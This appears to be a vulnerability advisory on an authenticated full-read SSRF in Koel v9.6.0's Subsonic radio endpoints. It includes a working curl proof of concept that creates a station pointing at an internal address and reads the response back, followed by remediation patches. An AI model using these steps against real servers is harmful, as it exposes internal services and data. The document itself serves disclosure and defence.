Koel: Authenticated Full-Read SSRF via Subsonic Internet Radio Stations
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N상세 설명
Summary
Koel v9.6.0 validates radio station URLs on the regular web API, but the Subsonic-compatible radio endpoints do not apply the same SSRF protections. An authenticated user can create or update a radio station with a private URL and then use Koel's radio streaming feature to make the server fetch that URL and return the upstream response body.
This was validated against v9.6.0 (352ea5ec27fa22294da8fb6beacb3d5552f0d09c) using the official phanan/koel:9.6.0 image.
Details
SafeUrl is applied on the web API, but not on the Subsonic endpoints
Koel's regular radio API protects station URLs with SafeUrl and HasAudioContentType:
app/Http/Requests/API/Radio/RadioStationStoreRequest.phpapp/Http/Requests/API/Radio/RadioStationUpdateRequest.php
1new SafeUrl(), 2new HasAudioContentType(),The Subsonic-compatible routes do not reuse those checks:
routes/subsonic.phpcreateInternetRadioStation.viewupdateInternetRadioStation.view
app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.phpapp/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php
1return [ 2 'streamUrl' => ['required', 'string'], 3 'name' => ['required', 'string'], 4 'homepageUrl' => ['nullable', 'string'], 5];The result is a validation gap between two routes that create the same type of object.
The unvalidated URL is stored and later fetched server-side
The Subsonic controllers hand the supplied URL to the regular radio service without any SSRF validation:
app/Http/Controllers/Subsonic/CreateInternetRadioStationController.phpapp/Http/Controllers/Subsonic/UpdateInternetRadioStationController.phpapp/Services/RadioService.php
The SSRF is triggered when the station is played:
app/Http/Controllers/StreamRadioController.phpapp/Services/Radio/RadioStreamService.phpapp/Services/Radio/RadioStreamProxy.php
RadioStreamProxy::openStream() opens a web address supplied by the attacker (attacker-controlled URL) without proper checks:
1$stream = fopen($url, 'r', false, $context);The response body is returned to the attacker
If the upstream response is treated as a normal stream, Koel forwards it back to the client:
1while (!feof($stream) && !connection_aborted()) { 2 echo fread($stream, 8192); 3 flush(); 4}That makes this a full-read SSRF rather than a blind SSRF. The attacker is not only limited to causing an internal request, but also they can read the HTTP response through /radio/stream/{id}.
This behavior also differs from the documented expectation in docs/usage/radio.md, which says Koel checks the URL when adding or editing a radio station.
PoC
The following steps were validated against the official phanan/koel:9.6.0 image.
- Authenticate and obtain an API token:
1API_TOKEN=$( 2 curl -sS -X POST http://127.0.0.1:18081/api/me \ 3 -H 'Content-Type: application/json' \ 4 --data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \ 5 | python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])' 6)- Obtain the user's Subsonic API key:
1SUBSONIC_KEY=$( 2 curl -sS http://127.0.0.1:18081/api/data \ 3 -H "Authorization: Bearer $API_TOKEN" \ 4 | python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])' 5)- Prepare an internal-only target URL. In my validation, I used a host-side HTTP server reachable from the container through the Docker bridge:
1TARGET_URL="http://172.17.0.1:18090/feed.xml"- Confirm the regular web API blocks the URL:
1curl -i -X POST http://127.0.0.1:18081/api/radio/stations \ 2 -H "Authorization: Bearer $API_TOKEN" \ 3 -H 'Accept: application/json' \ 4 -H 'Content-Type: application/json' \ 5 --data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"Expected result:
- HTTP
422 - Error includes
The url must point to a public URL.
- Create the same station through the Subsonic route:
1curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \ 2 --data-urlencode "apiKey=$SUBSONIC_KEY" \ 3 --data-urlencode 'f=json' \ 4 --data-urlencode 'name=xmlpeek' \ 5 --data-urlencode "streamUrl=$TARGET_URL"Expected result:
- HTTP
200 - JSON includes
"status":"ok"
- Resolve the station ID and stream it:
1STATION_ID=$( 2 curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \ 3 | python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))' 4) 5 6curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"Expected result:
- HTTP
200 - Response body contains the upstream content from the internal target URL
An authenticated user can abuse Koel as a full-read SSRF proxy to access internal HTTP services reachable from the Koel server.
Practical impact includes:
- Reading loopback-only, RFC1918, or Docker-bridge HTTP services
- Accessing internal admin panels, metrics services, or metadata endpoints that are not publicly exposed
- Performing internal HTTP reconnaissance and retrieving content through Koel itself
Since the response body is returned to the attacker, the impact is materially higher than a blind SSRF.
Remediation
The Subsonic request validators should apply the same URL validation as the main radio API, and the stream proxy should re-check the target before opening it.
Suggested patch for app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php:
1diff --git a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php 2--- a/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php 3+++ b/app/Http/Requests/Subsonic/CreateInternetRadioStationRequest.php 4@@ 5 namespace App\Http\Requests\Subsonic; 6 7 use App\Http\Requests\Request; 8+use App\Rules\HasAudioContentType; 9+use App\Rules\SafeUrl;10@@11 public function rules(): array12 {13 return [14- 'streamUrl' => ['required', 'string'],15+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],16 'name' => ['required', 'string'],17 'homepageUrl' => ['nullable', 'string'],18 ];19 }20 }Suggested patch for app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php:
1diff --git a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php 2--- a/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php 3+++ b/app/Http/Requests/Subsonic/UpdateInternetRadioStationRequest.php 4@@ 5 namespace App\Http\Requests\Subsonic; 6 7 use App\Http\Requests\Request; 8+use App\Rules\HasAudioContentType; 9+use App\Rules\SafeUrl;10@@11 public function rules(): array12 {13 return [14 'id' => ['required', 'string'],15- 'streamUrl' => ['required', 'string'],16+ 'streamUrl' => ['required', 'url', new SafeUrl(), new HasAudioContentType()],17 'name' => ['required', 'string'],18 'homepageUrl' => ['nullable', 'string'],19 ];20 }21 }Suggested defense-in-depth patch for app/Services/Radio/RadioStreamProxy.php:
1diff --git a/app/Services/Radio/RadioStreamProxy.php b/app/Services/Radio/RadioStreamProxy.php 2--- a/app/Services/Radio/RadioStreamProxy.php 3+++ b/app/Services/Radio/RadioStreamProxy.php 4@@ 5 namespace App\Services\Radio; 6 7+use App\Helpers\Network; 8 use App\Models\RadioStation; 9 10 class RadioStreamProxy11 {12+ public function __construct(private readonly Network $network) {}13+14@@15 public function openStream(string $url)16 {17+ if (!$this->network->isSafeUrl($url)) {18+ return false;19+ }20+21 $context = stream_context_create([22 'http' => [23 'header' => "Icy-MetaData: 1\r\n",24 'timeout' => 5,25 ],AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.